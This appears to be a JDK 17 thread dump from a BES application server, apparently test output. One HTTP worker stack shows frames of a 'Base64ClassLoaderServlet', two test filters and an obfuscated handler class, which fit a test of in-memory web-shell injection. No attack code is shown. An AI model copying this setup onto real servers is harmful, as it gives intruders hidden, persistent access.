+ java.lang.Thread.State: RUNNABLE
+ at java.base@17.0.19/sun.nio.ch.Net.accept(Native Method)
+ at java.base@17.0.19/sun.nio.ch.NioSocketImpl.accept(NioSocketImpl.java:760)
+ at java.base@17.0.19/java.net.ServerSocket.implAccept(ServerSocket.java:675)
+ at java.base@17.0.19/java.net.ServerSocket.platformImplAccept(ServerSocket.java:641)
+ at java.base@17.0.19/java.net.ServerSocket.implAccept(ServerSocket.java:617)
+ at java.base@17.0.19/java.net.ServerSocket.implAccept(ServerSocket.java:574)
+ at java.base@17.0.19/java.net.ServerSocket.accept(ServerSocket.java:532)
+ at java.rmi@17.0.19/sun.rmi.transport.tcp.TCPTransport$AcceptLoop.executeAcceptLoop(TCPTransport.java:413)
+ at java.rmi@17.0.19/sun.rmi.transport.tcp.TCPTransport$AcceptLoop.run(TCPTransport.java:377)
+ at java.base@17.0.19/java.lang.Thread.run(Thread.java:840)
+
+"httpWorkerThread-8080-1" #72 daemon [RUNNABLE]
+ java.lang.Thread.State: RUNNABLE
+ at java.base@17.0.19/java.lang.Thread.dumpThreads(Native Method)
+ at java.base@17.0.19/java.lang.Thread.getAllStackTraces(Thread.java:1671)
+ at org.apache.logging.UKnKC.ErrorQvlgaHandler.toString(BasicInfoPrinter.java:26)
+ at java.base@17.0.19/java.lang.String.valueOf(String.java:4220)
+ at com.bes.enterprise.webtier.connector.CoyoteWriter.print(CoyoteWriter.java:240)
+ at Base64ClassLoaderServlet.service(Base64ClassLoaderServlet.java:27)
+ at com.bes.enterprise.webtier.core.ApplicationFilterChain.internalDoFilter(ApplicationFilterChain.java:224)
+ at com.bes.enterprise.webtier.core.ApplicationFilterChain.doFilter(ApplicationFilterChain.java:157)
+ at ServletNameTestFilter.doFilter(ServletNameTestFilter.java:17)
+ at com.bes.enterprise.webtier.core.ApplicationFilterChain.internalDoFilter(ApplicationFilterChain.java:186)
+ at com.bes.enterprise.webtier.core.ApplicationFilterChain.doFilter(ApplicationFilterChain.java:157)
+ at com.bes.enterprise.web.websocket.server.WsFilter.doFilter(WsFilter.java:49)
+ at com.bes.enterprise.webtier.core.ApplicationFilterChain.internalDoFilter(ApplicationFilterChain.java:186)
+ at com.bes.enterprise.webtier.core.ApplicationFilterChain.doFilter(ApplicationFilterChain.java:157)
+ at UrlMappingTestFilter.doFilter(UrlMappingTestFilter.java:22)
+ at com.bes.enterprise.webtier.core.ApplicationFilterChain.internalDoFilter(ApplicationFilterChain.java:186)
+ at com.bes.enterprise.webtier.core.ApplicationFilterChain.doFilter(ApplicationFilterChain.java:157)
+ at com.bes.enterprise.webtier.core.DefaultWrapperValve.invoke(DefaultWrapperValve.java:193)
+ at com.bes.enterprise.webtier.core.DefaultContextValve.invoke(DefaultContextValve.java:109)
+ at com.bes.enterprise.webext.BesContextCleanupValve.invoke(BesContextCleanupValve.java:50)
+ at com.bes.enterprise.webext.BESAppservValve.invoke(BESAppservValve.java:41)
+ at com.bes.enterprise.webtier.authenticator.AuthenticatorBase.invoke(AuthenticatorBase.java:550)
+ at com.bes.enterprise.webtier.core.DefaultHostValve.invoke(DefaultHostValve.java:133)
+ at com.bes.enterprise.webext.BESSecurityListener$BESSecurityRequestValve.invoke(BESSecurityListener.java:95)
+ at com.bes.enterprise.webtier.valves.ErrorReportValve.invoke(ErrorReportValve.java:87)
+ at com.bes.enterprise.webtier.core.DefaultEngineValve.invoke(DefaultEngineValve.java:74)
+ at com.bes.enterprise.webtier.connector.CoyoteAdapter.service(CoyoteAdapter.java:388)
+ at com.bes.enterprise.web.crane.http11.Http11Processor.service(Http11Processor.java:473)
+ at com.bes.enterprise.web.crane.AbstractProcessorLight.process(AbstractProcessorLight.java:61)
+ at com.bes.enterprise.web.crane.AbstractProtocol$ConnectionHandler.process(AbstractProtocol.java:950)
+ at com.bes.enterprise.web.util.net.NioEndpoint$SocketProcessor.doRun(NioEndpoint.java:1955)
+ at com.bes.enterprise.web.util.net.SocketProcessorBase.run(SocketProcessorBase.java:47)
+ at com.bes.enterprise.web.util.threads.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1193)
+ at com.bes.enterprise.web.util.threads.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:651)
+ at com.bes.enterprise.web.util.threads.WorkThread$WrappingRunnable.run(WorkThread.java:60)
+ at java.base@17.0.19/java.lang.Thread.run(Thread.java:840)
+
+"jmsra-WorkerThread-2" #64 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@18f6cc10
+ java.lang.Thread.State: WAITING
+ at java.base@17.0.19/jdk.internal.misc.Unsafe.park(Native Method)
+ at java.base@17.0.19/java.util.concurrent.locks.LockSupport.park(LockSupport.java:341)
+ at java.base@17.0.19/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionNode.block(AbstractQueuedSynchronizer.java:506)
+ at java.base@17.0.19/java.util.concurrent.ForkJoinPool.unmanagedBlock(ForkJoinPool.java:3465)
+ at java.base@17.0.19/java.util.concurrent.ForkJoinPool.managedBlock(ForkJoinPool.java:3436)
+ at java.base@17.0.19/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:1630)
+ at java.base@17.0.19/java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:435)
+ at com.bes.enterprise.web.util.threads.WorkQueue.take(WorkQueue.java:141)
+ at com.bes.enterprise.web.util.threads.WorkQueue.take(WorkQueue.java:29)
+ at com.bes.enterprise.web.util.threads.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1116)
+ at com.bes.enterprise.web.util.threads.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1178)
+ at com.bes.enterprise.web.util.threads.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:651)
+ at com.bes.enterprise.web.util.threads.WorkThread$WrappingRunnable.run(WorkThread.java:60)
+ at java.base@17.0.19/java.lang.Thread.run(Thread.java:840)
+
+"httpWorkerThread-8080-8" #80 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@5fe3e3a
+ java.lang.Thread.State: WAITING
+ at java.base@17.0.19/jdk.internal.misc.Unsafe.park(Native Method)
+ at java.base@17.0.19/java.util.concurrent.locks.LockSupport.park(LockSupport.java:341)
+ at java.base@17.0.19/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionNode.block(AbstractQueuedSynchronizer.java:506)
+ at java.base@17.0.19/java.util.concurrent.ForkJoinPool.unmanagedBlock(ForkJoinPool.java:3465)
+ at java.base@17.0.19/java.util.concurrent.ForkJoinPool.managedBlock(ForkJoinPool.java:3436)
+ at java.base@17.0.19/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:1630)
+ at java.base@17.0.19/java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:435)
+ at com.bes.enterprise.web.util.threads.WorkQueue.take(WorkQueue.java:141)
+ at com.bes.enterprise.web.util.threads.WorkQueue.take(WorkQueue.java:29)
+ at com.bes.enterprise.web.util.threads.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1116)
+ at com.bes.enterprise.web.util.threads.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1178)
+ at com.bes.enterprise.web.util.threads.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:651)
+ at com.bes.enterprise.web.util.threads.WorkThread$WrappingRunnable.run(WorkThread.java:60)
+ at java.base@17.0.19/java.lang.Thread.run(Thread.java:840)
+
+"RMI Reaper" #94 [WAITING] on java.lang.ref.ReferenceQueue$Lock@1e9eceee
+ java.lang.Thread.State: WAITING
+ at java.base@17.0.19/java.lang.Object.wait(Native Method)
+ at java.base@17.0.19/java.lang.ref.ReferenceQueue.remove(ReferenceQueue.java:155)
+ at java.base@17.0.19/java.lang.ref.ReferenceQueue.remove(ReferenceQueue.java:176)
+ at java.rmi@17.0.19/sun.rmi.transport.ObjectTable$Reaper.run(ObjectTable.java:352)
+ at java.base@17.0.19/java.lang.Thread.run(Thread.java:840)
+
+"RMI TCP Connection(1)-172.17.0.4" #96 daemon [RUNNABLE]
+ java.lang.Thread.State: RUNNABLE
+ at java.base@17.0.19/sun.nio.ch.Net.poll(Native Method)
+ at java.base@17.0.19/sun.nio.ch.NioSocketImpl.park(NioSocketImpl.java:186)
+ at java.base@17.0.19/sun.nio.ch.NioSocketImpl.timedRead(NioSocketImpl.java:290)
+ at java.base@17.0.19/sun.nio.ch.NioSocketImpl.implRead(NioSocketImpl.java:314)
+ at java.base@17.0.19/sun.nio.ch.NioSocketImpl.read(NioSocketImpl.java:355)
+ at java.base@17.0.19/sun.nio.ch.NioSocketImpl$1.read(NioSocketImpl.java:808)
+ at java.base@17.0.19/java.net.Socket$SocketInputStream.read(Socket.java:966)
+ at java.base@17.0.19/java.io.BufferedInputStream.fill(BufferedInputStream.java:244)
+ at java.base@17.0.19/java.io.BufferedInputStream.read(BufferedInputStream.java:263)
+ at java.base@17.0.19/java.io.FilterInputStream.read(FilterInputStream.java:82)
+ at java.rmi@17.0.19/sun.rmi.transport.tcp.TCPTransport.handleMessages(TCPTransport.java:569)
+ at java.rmi@17.0.19/sun.rmi.transport.tcp.TCPTransport$ConnectionHandler.run0(TCPTransport.java:828)
+ at java.rmi@17.0.19/sun.rmi.transport.tcp.TCPTransport$ConnectionHandler.lambda$run$0(TCPTransport.java:705)
+ at java.rmi@17.0.19/sun.rmi.transport.tcp.TCPTransport$ConnectionHandler$$Lambda$585/0x00007405f05ff4b0.run(Unknown Source)
+ at java.base@17.0.19/java.security.AccessController.executePrivileged(AccessController.java:776)
+ at java.base@17.0.19/java.security.AccessController.doPrivileged(AccessController.java:399)
+ at java.rmi@17.0.19/sun.rmi.transport.tcp.TCPTransport$ConnectionHandler.run(TCPTransport.java:704)
+ at java.base@17.0.19/java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1136)
+ at java.base@17.0.19/java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:635)
+ at java.base@17.0.19/java.lang.Thread.run(Thread.java:840)
+
+"httpWorkerThread-8080-6" #78 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@5fe3e3a
+ java.lang.Thread.State: WAITING
+ at java.base@17.0.19/jdk.internal.misc.Unsafe.park(Native Method)
+ at java.base@17.0.19/java.util.concurrent.locks.LockSupport.park(LockSupport.java:341)
+ at java.base@17.0.19/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionNode.block(AbstractQueuedSynchronizer.java:506)
+ at java.base@17.0.19/java.util.concurrent.ForkJoinPool.unmanagedBlock(ForkJoinPool.java:3465)
+ at java.base@17.0.19/java.util.concurrent.ForkJoinPool.managedBlock(ForkJoinPool.java:3436)
+ at java.base@17.0.19/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:1630)
+ at java.base@17.0.19/java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:435)
+ at com.bes.enterprise.web.util.threads.WorkQueue.take(WorkQueue.java:141)
+ at com.bes.enterprise.web.util.threads.WorkQueue.take(WorkQueue.java:29)
+ at com.bes.enterprise.web.util.threads.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1116)
+ at com.bes.enterprise.web.util.threads.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1178)
+ at com.bes.enterprise.web.util.threads.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:651)
+ at com.bes.enterprise.web.util.threads.WorkThread$WrappingRunnable.run(WorkThread.java:60)
+ at java.base@17.0.19/java.lang.Thread.run(Thread.java:840)
+
+"httpWorkerThread-1900-4" #71 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@79a606ab
+ java.lang.Thread.State: WAITING
+ at java.base@17.0.19/jdk.internal.misc.Unsafe.park(Native Method)
+ at java.base@17.0.19/java.util.concurrent.locks.LockSupport.park(LockSupport.java:341)
+ at java.base@17.0.19/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionNode.block(AbstractQueuedSynchronizer.java:506)
+ at java.base@17.0.19/java.util.concurrent.ForkJoinPool.unmanagedBlock(ForkJoinPool.java:3465)
+ at java.base@17.0.19/java.util.concurrent.ForkJoinPool.managedBlock(ForkJoinPool.java:3436)
+ at java.base@17.0.19/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:1630)
+ at java.base@17.0.19/java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:435)
+ at com.bes.enterprise.web.util.threads.WorkQueue.take(WorkQueue.java:141)
+ at com.bes.enterprise.web.util.threads.WorkQueue.take(WorkQueue.java:29)
+ at com.bes.enterprise.web.util.threads.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1116)
+ at com.bes.enterprise.web.util.threads.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1178)
+ at com.bes.enterprise.web.util.threads.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:651)
+ at com.bes.enterprise.web.util.threads.WorkThread$WrappingRunnable.run(WorkThread.java:60)
+ at java.base@17.0.19/java.lang.Thread.run(Thread.java:840)
+
+"RMI Scheduler(0)" #97 daemon [TIMED_WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@331a8c54
+ java.lang.Thread.State: TIMED_WAITING
+ at java.base@17.0.19/jdk.internal.misc.Unsafe.park(Native Method)
+ at java.base@17.0.19/java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:252)
+ at java.base@17.0.19/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.awaitNanos(AbstractQueuedSynchronizer.java:1679)
+ at java.base@17.0.19/java.util.concurrent.ScheduledThreadPoolExecutor$DelayedWorkQueue.take(ScheduledThreadPoolExecutor.java:1182)
+ at java.base@17.0.19/java.util.concurrent.ScheduledThreadPoolExecutor$DelayedWorkQueue.take(ScheduledThreadPoolExecutor.java:899)
+ at java.base@17.0.19/java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1062)
+ at java.base@17.0.19/java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1122)
+ at java.base@17.0.19/java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:635)
+ at java.base@17.0.19/java.lang.Thread.run(Thread.java:840)
+
+"httpWorkerThread-1900-3" #70 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@79a606ab
+ java.lang.Thread.State: WAITING
+ at java.base@17.0.19/jdk.internal.misc.Unsafe.park(Native Method)
+ at java.base@17.0.19/java.util.concurrent.locks.LockSupport.park(LockSupport.java:341)
+ at java.base@17.0.19/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionNode.block(AbstractQueuedSynchronizer.java:506)
+ at java.base@17.0.19/java.util.concurrent.ForkJoinPool.unmanagedBlock(ForkJoinPool.java:3465)
+ at java.base@17.0.19/java.util.concurrent.ForkJoinPool.managedBlock(ForkJoinPool.java:3436)
+ at java.base@17.0.19/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:1630)
+ at java.base@17.0.19/java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:435)
+ at com.bes.enterprise.web.util.threads.WorkQueue.take(WorkQueue.java:141)
+ at com.bes.enterprise.web.util.threads.WorkQueue.take(WorkQueue.java:29)
+ at com.bes.enterprise.web.util.threads.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1116)
+ at com.bes.enterprise.web.util.threads.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1178)
+ at com.bes.enterprise.web.util.threads.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:651)
+ at com.bes.enterprise.web.util.threads.WorkThread$WrappingRunnable.run(WorkThread.java:60)
+ at java.base@17.0.19/java.lang.Thread.run(Thread.java:840)
+
+"File-watcher-0" #87 daemon [TIMED_WAITING]
+ java.lang.Thread.State: TIMED_WAITING
+ at java.base@17.0.19/java.lang.Thread.sleep(Native Method)
+ at com.bes.enterprise.serializer.defence.common.file.watcher.FileAlterationMonitor.run(FileAlterationMonitor.java:105)
+ at java.base@17.0.19/java.lang.Thread.run(Thread.java:840)
+
+"AppServer-utility-1" #67 [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@2af69321
+ java.lang.Thread.State: WAITING
+ at java.base@17.0.19/jdk.internal.misc.Unsafe.park(Native Method)
+ at java.base@17.0.19/java.util.concurrent.locks.LockSupport.park(LockSupport.java:341)
+ at java.base@17.0.19/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionNode.block(AbstractQueuedSynchronizer.java:506)
+ at java.base@17.0.19/java.util.concurrent.ForkJoinPool.unmanagedBlock(ForkJoinPool.java:3465)
+ at java.base@17.0.19/java.util.concurrent.ForkJoinPool.managedBlock(ForkJoinPool.java:3436)
+ at java.base@17.0.19/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:1630)
+ at java.base@17.0.19/java.util.concurrent.ScheduledThreadPoolExecutor$DelayedWorkQueue.take(ScheduledThreadPoolExecutor.java:1177)
+ at java.base@17.0.19/java.util.concurrent.ScheduledThreadPoolExecutor$DelayedWorkQueue.take(ScheduledThreadPoolExecutor.java:899)
+ at java.base@17.0.19/java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1062)
+ at java.base@17.0.19/java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1122)
+ at java.base@17.0.19/java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:635)
+ at com.bes.enterprise.web.util.threads.WorkThread$WrappingRunnable.run(WorkThread.java:60)
+ at java.base@17.0.19/java.lang.Thread.run(Thread.java:840)
+
+"httpWorkerThread-1900-2" #69 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@79a606ab
+ java.lang.Thread.State: WAITING
+ at java.base@17.0.19/jdk.internal.misc.Unsafe.park(Native Method)
+ at java.base@17.0.19/java.util.concurrent.locks.LockSupport.park(LockSupport.java:341)
+ at java.base@17.0.19/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionNode.block(AbstractQueuedSynchronizer.java:506)
+ at java.base@17.0.19/java.util.concurrent.ForkJoinPool.unmanagedBlock(ForkJoinPool.java:3465)
+ at java.base@17.0.19/java.util.concurrent.ForkJoinPool.managedBlock(ForkJoinPool.java:3436)
+ at java.base@17.0.19/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:1630)
+ at java.base@17.0.19/java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:435)
+ at com.bes.enterprise.web.util.threads.WorkQueue.take(WorkQueue.java:141)
+ at com.bes.enterprise.web.util.threads.WorkQueue.take(WorkQueue.java:29)
+ at com.bes.enterprise.web.util.threads.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1116)
+ at com.bes.enterprise.web.util.threads.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1178)
+ at com.bes.enterprise.web.util.threads.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:651)
+ at com.bes.enterprise.web.util.threads.WorkThread$WrappingRunnable.run(WorkThread.java:60)
+ at java.base@17.0.19/java.lang.Thread.run(Thread.java:840)
+
+"jmsra-WorkerThread-1" #63 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@18f6cc10
+ java.lang.Thread.State: WAITING
+ at java.base@17.0.19/jdk.internal.misc.Unsafe.park(Native Method)
+ at java.base@17.0.19/java.util.concurrent.locks.LockSupport.park(LockSupport.java:341)
+ at java.base@17.0.19/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionNode.block(AbstractQueuedSynchronizer.java:506)
+ at java.base@17.0.19/java.util.concurrent.ForkJoinPool.unmanagedBlock(ForkJoinPool.java:3465)
+ at java.base@17.0.19/java.util.concurrent.ForkJoinPool.managedBlock(ForkJoinPool.java:3436)
+ at java.base@17.0.19/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:1630)
+ at java.base@17.0.19/java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:435)
+ at com.bes.enterprise.web.util.threads.WorkQueue.take(WorkQueue.java:141)
+ at com.bes.enterprise.web.util.threads.WorkQueue.take(WorkQueue.java:29)
+ at com.bes.enterprise.web.util.threads.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1116)
+ at com.bes.enterprise.web.util.threads.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1178)
+ at com.bes.enterprise.web.util.threads.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:651)
+ at com.bes.enterprise.web.util.threads.WorkThread$WrappingRunnable.run(WorkThread.java:60)
+ at java.base@17.0.19/java.lang.Thread.run(Thread.java:840)
+
+"jmsra-WorkerThread-4" #66 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@18f6cc10
+ java.lang.Thread.State: WAITING
+ at java.base@17.0.19/jdk.internal.misc.Unsafe.park(Native Method)
+ at java.base@17.0.19/java.util.concurrent.locks.LockSupport.park(LockSupport.java:341)
+ at java.base@17.0.19/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionNode.block(AbstractQueuedSynchronizer.java:506)
+ at java.base@17.0.19/java.util.concurrent.ForkJoinPool.unmanagedBlock(ForkJoinPool.java:3465)
+ at java.base@17.0.19/java.util.concurrent.ForkJoinPool.managedBlock(ForkJoinPool.java:3436)
+ at java.base@17.0.19/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:1630)
+ at java.base@17.0.19/java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:435)
+ at com.bes.enterprise.web.util.threads.WorkQueue.take(WorkQueue.java:141)
+ at com.bes.enterprise.web.util.threads.WorkQueue.take(WorkQueue.java:29)
+ at com.bes.enterprise.web.util.threads.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1116)
+ at com.bes.enterprise.web.util.threads.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1178)
+ at com.bes.enterprise.web.util.threads.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:651)
+ at com.bes.enterprise.web.util.threads.WorkThread$WrappingRunnable.run(WorkThread.java:60)
+ at java.base@17.0.19/java.lang.Thread.run(Thread.java:840)
+
+"RMI RenewClean-[172.17.0.4:6600]" #98 daemon [TIMED_WAITING] on java.lang.ref.ReferenceQueue$Lock@1f2fd2b
+ java.lang.Thread.State: TIMED_WAITING
+ at java.base@17.0.19/java.lang.Object.wait(Native Method)
+ at java.base@17.0.19/java.lang.ref.ReferenceQueue.remove(ReferenceQueue.java:155)
+ at java.rmi@17.0.19/sun.rmi.transport.DGCClient$EndpointEntry$RenewCleanThread.run(DGCClient.java:559)
+ at java.base@17.0.19/java.lang.Thread.run(Thread.java:840)
+
+"File-watcher-0" #62 daemon [TIMED_WAITING]
+ java.lang.Thread.State: TIMED_WAITING
+ at java.base@17.0.19/java.lang.Thread.sleep(Native Method)
+ at com.bes.enterprise.common.file.watcher.FileAlterationMonitor.run(FileAlterationMonitor.java:105)
+ at java.base@17.0.19/java.lang.Thread.run(Thread.java:840)
+
+"Notification Thread" #15 daemon [RUNNABLE]
+ java.lang.Thread.State: RUNNABLE
+
+"Finalizer" #3 daemon [WAITING] on java.lang.ref.ReferenceQueue$Lock@2fca3749
+ java.lang.Thread.State: WAITING
+ at java.base@17.0.19/java.lang.Object.wait(Native Method)
+ at java.base@17.0.19/java.lang.ref.ReferenceQueue.remove(ReferenceQueue.java:155)
+ at java.base@17.0.19/java.lang.ref.ReferenceQueue.remove(ReferenceQueue.java:176)
+ at java.base@17.0.19/java.lang.ref.Finalizer$FinalizerThread.run(Finalizer.java:172)
+
+"httpWorkerThread-8080-4" #76 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@5fe3e3a
+ java.lang.Thread.State: WAITING
+ at java.base@17.0.19/jdk.internal.misc.Unsafe.park(Native Method)
+ at java.base@17.0.19/java.util.concurrent.locks.LockSupport.park(LockSupport.java:341)
+ at java.base@17.0.19/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionNode.block(AbstractQueuedSynchronizer.java:506)
+ at java.base@17.0.19/java.util.concurrent.ForkJoinPool.unmanagedBlock(ForkJoinPool.java:3465)
+ at java.base@17.0.19/java.util.concurrent.ForkJoinPool.managedBlock(ForkJoinPool.java:3436)
+ at java.base@17.0.19/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:1630)
+ at java.base@17.0.19/java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:435)
+ at com.bes.enterprise.web.util.threads.WorkQueue.take(WorkQueue.java:141)
+ at com.bes.enterprise.web.util.threads.WorkQueue.take(WorkQueue.java:29)
+ at com.bes.enterprise.web.util.threads.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1116)
+ at com.bes.enterprise.web.util.threads.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1178)
+ at com.bes.enterprise.web.util.threads.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:651)
+ at com.bes.enterprise.web.util.threads.WorkThread$WrappingRunnable.run(WorkThread.java:60)
+ at java.base@17.0.19/java.lang.Thread.run(Thread.java:840)
+
+"SelectorReaderThread-1900-1" #81 daemon [RUNNABLE]
+ java.lang.Thread.State: RUNNABLE
+ at java.base@17.0.19/sun.nio.ch.EPoll.wait(Native Method)
+ at java.base@17.0.19/sun.nio.ch.EPollSelectorImpl.doSelect(EPollSelectorImpl.java:118)
+ at java.base@17.0.19/sun.nio.ch.SelectorImpl.lockAndDoSelect(SelectorImpl.java:129)
+ at java.base@17.0.19/sun.nio.ch.SelectorImpl.select(SelectorImpl.java:141)
+ at com.bes.enterprise.web.util.net.NioEndpoint$Poller.run(NioEndpoint.java:877)
+ at java.base@17.0.19/java.lang.Thread.run(Thread.java:840)
+
+"HSQLDB Timer @560df6c4" #90 daemon [TIMED_WAITING] on org.hsqldb.lib.HsqlTimer$TaskQueue@474b65e0
+ java.lang.Thread.State: TIMED_WAITING
+ at java.base@17.0.19/java.lang.Object.wait(Native Method)
+ at org.hsqldb.lib.HsqlTimer$TaskQueue.park(Unknown Source)
+ at org.hsqldb.lib.HsqlTimer.nextTask(Unknown Source)
+ at org.hsqldb.lib.HsqlTimer$TaskRunner.run(Unknown Source)
+ at java.base@17.0.19/java.lang.Thread.run(Thread.java:840)
+
+"httpWorkerThread-8080-5" #77 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@5fe3e3a
+ java.lang.Thread.State: WAITING
+ at java.base@17.0.19/jdk.internal.misc.Unsafe.park(Native Method)
+ at java.base@17.0.19/java.util.concurrent.locks.LockSupport.park(LockSupport.java:341)
+ at java.base@17.0.19/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionNode.block(AbstractQueuedSynchronizer.java:506)
+ at java.base@17.0.19/java.util.concurrent.ForkJoinPool.unmanagedBlock(ForkJoinPool.java:3465)
+ at java.base@17.0.19/java.util.concurrent.ForkJoinPool.managedBlock(ForkJoinPool.java:3436)
+ at java.base@17.0.19/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:1630)
+ at java.base@17.0.19/java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:435)
+ at com.bes.enterprise.web.util.threads.WorkQueue.take(WorkQueue.java:141)
+ at com.bes.enterprise.web.util.threads.WorkQueue.take(WorkQueue.java:29)
+ at com.bes.enterprise.web.util.threads.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1116)
+ at com.bes.enterprise.web.util.threads.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1178)
+ at com.bes.enterprise.web.util.threads.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:651)
+ at com.bes.enterprise.web.util.threads.WorkThread$WrappingRunnable.run(WorkThread.java:60)
+ at java.base@17.0.19/java.lang.Thread.run(Thread.java:840)
+
+"RMI TCP Connection(2)-172.17.0.4" #99 daemon [RUNNABLE]
+ java.lang.Thread.State: RUNNABLE
+ at java.base@17.0.19/sun.nio.ch.Net.poll(Native Method)
+ at java.base@17.0.19/sun.nio.ch.NioSocketImpl.park(NioSocketImpl.java:186)
+ at java.base@17.0.19/sun.nio.ch.NioSocketImpl.timedRead(NioSocketImpl.java:290)
+ at java.base@17.0.19/sun.nio.ch.NioSocketImpl.implRead(NioSocketImpl.java:314)
+ at java.base@17.0.19/sun.nio.ch.NioSocketImpl.read(NioSocketImpl.java:355)
+ at java.base@17.0.19/sun.nio.ch.NioSocketImpl$1.read(NioSocketImpl.java:808)
+ at java.base@17.0.19/java.net.Socket$SocketInputStream.read(Socket.java:966)
+ at java.base@17.0.19/java.io.BufferedInputStream.fill(BufferedInputStream.java:244)
+ at java.base@17.0.19/java.io.BufferedInputStream.read(BufferedInputStream.java:263)
+ at java.base@17.0.19/java.io.FilterInputStream.read(FilterInputStream.java:82)
+ at java.rmi@17.0.19/sun.rmi.transport.tcp.TCPTransport.handleMessages(TCPTransport.java:569)
